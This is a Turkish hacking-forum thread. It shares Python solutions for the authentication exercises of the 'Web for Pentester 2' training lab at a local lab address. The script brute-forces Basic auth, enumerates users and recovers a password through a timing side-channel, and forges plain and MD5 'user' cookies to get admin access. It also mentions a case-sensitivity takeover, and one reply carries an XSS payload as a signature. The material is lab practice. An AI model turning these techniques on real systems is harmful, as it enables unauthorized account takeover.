web for pentester 2 ---authentication--- çözüm ve exploit

yuathay

Katılımcı Üye
7 Mar 2023
377
180
Gitti
Python:
import requests
import os
from requests.auth import HTTPBasicAuth

def example1(): #burp suite ile sitenin respons'una baktığımızda kullanıcı adının admin olduğunu bize gösterdi tek yapmamız gereken brute force yöntemi ile şifreyi bulmak
    example1 = "http://192.168.1.41/authentication/example1/"

    if os.name == "nt":
        os.system("cls")
    else:
        os.system("clear")
        
    kullanıcı_adı = "admin"   

    wordlist = ["password","password123","admin","admin123"]

    for i in wordlist:
        auth = HTTPBasicAuth(kullanıcı_adı,i)
        if requests.get(example1,auth=auth).status_code == 200: #eğer dönen değer 200 ise login başarılı demektir
            print("şifre :",i) #eğer değer 200 ise o anki şifreyi yazdırıyoruz

def example2_kullanici_adi_bulma():
    site = "http://192.168.1.41/authentication/example2/"
    if os.name == "nt":
        os.system("cls")
    else:
        os.system("clear")
    #site alert ile kullanıcı adı ve şifre istedigi icin requests ile bilindik bir işlem yapamıyoruz
    #burp suite ile giden değerlere baktım ve şöyle birşey gördüm :
    # Authorization: Basic
    # siteye kullanıcı adımızı ve şifremizi gondermek icin from requests.auth import HTTPBasicAuth kütüphanesini kullanıcaz

    kullancı = ["ahmet","ayse","hacker","fatma","user","sari cizmeli mehmet aga"] #sitede sadece hacker ifadesi kayıtlı diğer isimler kayıtlı değil

    şifre = "sifre" # şifrenin bir onemi yok rastgele girilebilir

    for i in kullancı:     
        
        auth = HTTPBasicAuth(i,şifre) #ad ve şifreyi girdim bu değerler Authorization: Basic kısmına gidecek
        
        #.elapsed.total_seconds değerin gitme gelme süresini gösterir
        süre = requests.get(site,auth=auth).elapsed.total_seconds() #burada get dememizin nedeni burpsuite ile baktım get ile işlem yapılmış
        print(f"{i} : {süre}") #kullanıcı adının kontrol edilme süresi ve kullanıcı adı
        
def example2_kullanici_şifresi_bulma():
    site = "http://192.168.1.41/authentication/example2/"
    if os.name == "nt":
        os.system("cls")
    else:
        os.system("clear")
    kullancı = "hacker"

    şifre = "qwertyuopasdfghjklizxcvbnmöç1234567890" #deneyecegimiz şifreler

    sözlük = {}
    sayılar = []
    bulunan = ""
    en_uzun_zaman = [0.0] # süreleri karşılaştırma yapacagımız liste

    def gelen_giden_zamanı_bul(tahmin): #şifreyi giricez tahmin yazan yere

        auth = HTTPBasicAuth(kullancı,tahmin)
        
        süre = requests.get(site,auth=auth).elapsed.total_seconds() # kullanıcı adını ve şifreyi gönderiyoruz 
      
        sözlük[süre] = tahmin # sonradan bu değerler ile daha iyi etkileşim kurabilmek icin sözlüğe alıyorum
        
        print(f"{tahmin} : {süre}") # şifre : şifrenin gidiş geliş süresi olarak yazdırıyorum
        
        if float(süre) > float(en_uzun_zaman[0]): #eğer süre listedeki elemandan büyükse
            en_uzun_zaman.clear() #listeyi komple siliyoruz
            en_uzun_zaman.append(float(süre)) #listeye süre'yi ekliyoruz
        
    index = 0
    while True:
        index += 1
        for q in range(len(şifre)):
            gelen_giden_zamanı_bul(f"{bulunan}{şifre[q]}") #bulunan adlı değişken ilk indexde boş olacak ardından o anki indexdeki bulunan şifreyi
            #bulunan adlı değişkene ekliycez
            
            if q == len(şifre)-1: #şifredeki bütün değerler teker teker denendiyse
                
                zaman = en_uzun_zaman[0] # en büyük zamanı alıyoruz
                b = str(sözlük[zaman]) #sözlük[zaman] diyerek sözlüğün zaman değeri sayesinde şifrenin değerine ulaşıyorum
                bulunan += b[-1] #bulunan şifrenin son değerini bulunan adlı değişkene atıyorum
                
                print("*********")
                print("bulunanlar :")
                print(sözlük[zaman])
                print("***********")
                print("şifrenin gitme gelme zamanı :")
                print(en_uzun_zaman[0])
                print("***********")
                en_uzun_zaman = [0.0] #yukarıda karşılaştırma yapılırken bir karışıklık çıkmaması acısından yeniden listeyi eski halıne getiriyorum
        if index == 15:
            break

def example3():
    # sitede denetleye basıp şifreyi ve kullanıcı adını gonderirken ağ kısmında cookie tarafında değerler gözüküyor
    # bu değer şöyle :
    # user:"user1"
    # bizde cookie değerimizi user:"admin" olarak siteye istek gonderiyoruz
    # ve admin girişi sağlanıyor

    site = "http://192.168.1.41/authentication/example3/"
    
    if os.name == "nt":
        os.system("cls")
    else:
        os.system("clear")
        
    cookies = {"user": "admin"}                             

    print(requests.get(site,cookies=cookies).text)

def example4():
    site = "http://192.168.1.41/authentication/example4/"
    
    if os.name == "nt":
        os.system("cls")
    else:
        os.system("clear")
    #sitedeki user: "cookie" değeri kullanıcı adının md5 ile şifrelenmiş halidir
    #bu durumda bizde admin değerinin md5 ile şifrelenmiş halini göndericez cookie olarak

    cookies = {"user": "21232f297a57a5a743894a0e4a801fc3"}                         

    print(requests.get(site,cookies=cookies).text)

#example 5 ve 6 icin kod yazmaya gerek yok orada küçük büyük harf duyarlılığı ile ilgili bir açık var sanırsam
#admin'e giriş yapmak için Admin diye kullanıcı adı oluşturuyorsun oluşturunca Admin şifresi ile admin hesabına giriş yapabiliyorsun
 

P4$A

Anka Emektar
13 Tem 2021
1,488
2,820
23
";-alert(1)-//
arkadaşım bu exploit değil bir araç yazıyorsun kelime anlamı olarak evet bir şey sömürdüğün için exploit manasına gelir, lakin tek hedef bwapp için otomatize bir araç yazıyorsun konunun exploitler ile bir alakası yok
 

yuathay

Katılımcı Üye
7 Mar 2023
377
180
Gitti
arkadaşım bu exploit değil bir araç yazıyorsun kelime anlamı olarak evet bir şey sömürdüğün için exploit manasına gelir, lakin tek hedef bwapp için otomatize bir araç yazıyorsun konunun exploitler ile bir alakası yok
bidakine başka konuda paylaşırım sağolun
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.